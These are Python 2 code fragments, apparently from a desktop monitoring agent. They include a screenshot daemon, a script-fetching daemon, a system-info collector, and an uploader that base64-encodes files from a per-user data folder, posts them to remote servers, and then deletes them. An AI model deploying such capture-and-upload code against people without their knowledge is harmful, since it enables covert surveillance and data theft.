def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.name = __name__ self.daemon = True self.active = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME'], utils.get_user_name()) self.imagesdir = os.path.join(self.datadir, 'images') self.quality = config['SCR_QUALITY'] self.url = config['URL'][0] self.maxRMS = config['CHGSCR_THRESHOLD'] self.auth = requests.auth.HTTPDigestAuth(*config['AUTH']) self.img1_histogram, self.img2_histogram = None, None self.params = { "username": utils.utf(utils.get_user_name()), 'compname': utils.utf(utils.get_comp_name()) } self.jreq = { 'jsonrpc': '2.0', 'method': 'image', 'id': __name__, 'params': self.params } self.headers = {'user-agent': fmt("{NAME}/{VERSION}", **config)} utils.makedirs(self.datadir)
def __init__(self): log.info(fmt('Init daemon: {0}', __name__)) threading.Thread.__init__(self) self.name = __name__ self.daemon = True self.active = False self.datadir = os.path.join(config['HOME_DIR'], config['NAME'], utils.get_user_name()) self.url = config['URL'][0] self.script_dir = os.path.join(self.datadir, 'script') self.md5file = os.path.join(self.script_dir, fmt("{EXCLUDE_CHR}script.md5", **config)) utils.makedirs(self.script_dir) utils.makedirs(self.datadir) self.params = { "username": utils.utf(utils.get_user_name()), 'compname': utils.utf(utils.get_comp_name()) } self.jreq = { 'jsonrpc': '2.0', 'method': 'script', 'id': __name__, 'params': self.params } self.auth = requests.auth.HTTPDigestAuth(*config['AUTH']) self.headers = {'user-agent': fmt("{NAME}/{VERSION}", **config)}
def collect(self): info = {} res = '' try: info['DATA_DIR'] = self.datadir info['SYSTEM'] = "; ".join(platform.uname()) info['PID'] = os.getpid() info.update(config) del info['AUTH'] try: sess = utils._get_session_of_pid2(os.getpid()) info['SESSION'] = sess sessuser = utils.get_user_name() info['LOGGEDONUSER'] = sessuser except Exception as e: info['ERROR_GET_LOGGEDONUSER'] = e for k, v in info.iteritems(): try: res += fmt('{k} = {v}\n', k=k, v=utils.true_enc(v)) except Exception as e: res += fmt('ERROR_{k} = {v}\n', k=k, v=e) except Exception as e: log.error(e) return utils.utf(res)
def run(self): log.info(fmt('Start daemon: {0}', self.name)) self.active = True prev_timeout, timeout = 13, 21 while self.active: try: utils.makedirs(self.datadir) with requests.Session() as sess: sess.auth = self.auth sess.timeout = (3.05, 27) sess.verify = config['CERT'] sess.headers = self.headers for fn in (f for f in utils.rListFiles(self.datadir) if not os.path.basename(f).startswith(config['EXCLUDE_CHR'])): try: with open(fn, 'rb') as fp: self.params['filename'] = utils.utf( fn.replace(self.datadir, '').replace('\\', '/').strip('/')) self.params['data'] = base64.b64encode(fp.read()) self.jreq['params'] = self.params self.jreq['id'] = time.time() log.debug(fmt('Try to upload: {fn}', fn=fn)) r = sess.post(self.url, json=self.jreq) jres = self._check_jres(r.json()) if jres['result'] == 1: log.debug(fmt('Try to delete: {fn}', fn=fn)) os.unlink(fn) except requests.exceptions.RequestException: raise except IOError as e: log.error(e) time.sleep(0.1) prev_timeout, timeout = 13, 21 except Exception as e: if timeout < 60: prev_timeout, timeout = timeout, prev_timeout + timeout if e.__class__ in requests.exceptions.__dict__.itervalues(): try: ind = config['URL'].index(self.url) self.url = config['URL'][ind + 1] except Exception: self.url = config['URL'][0] log.error(e) time.sleep(timeout)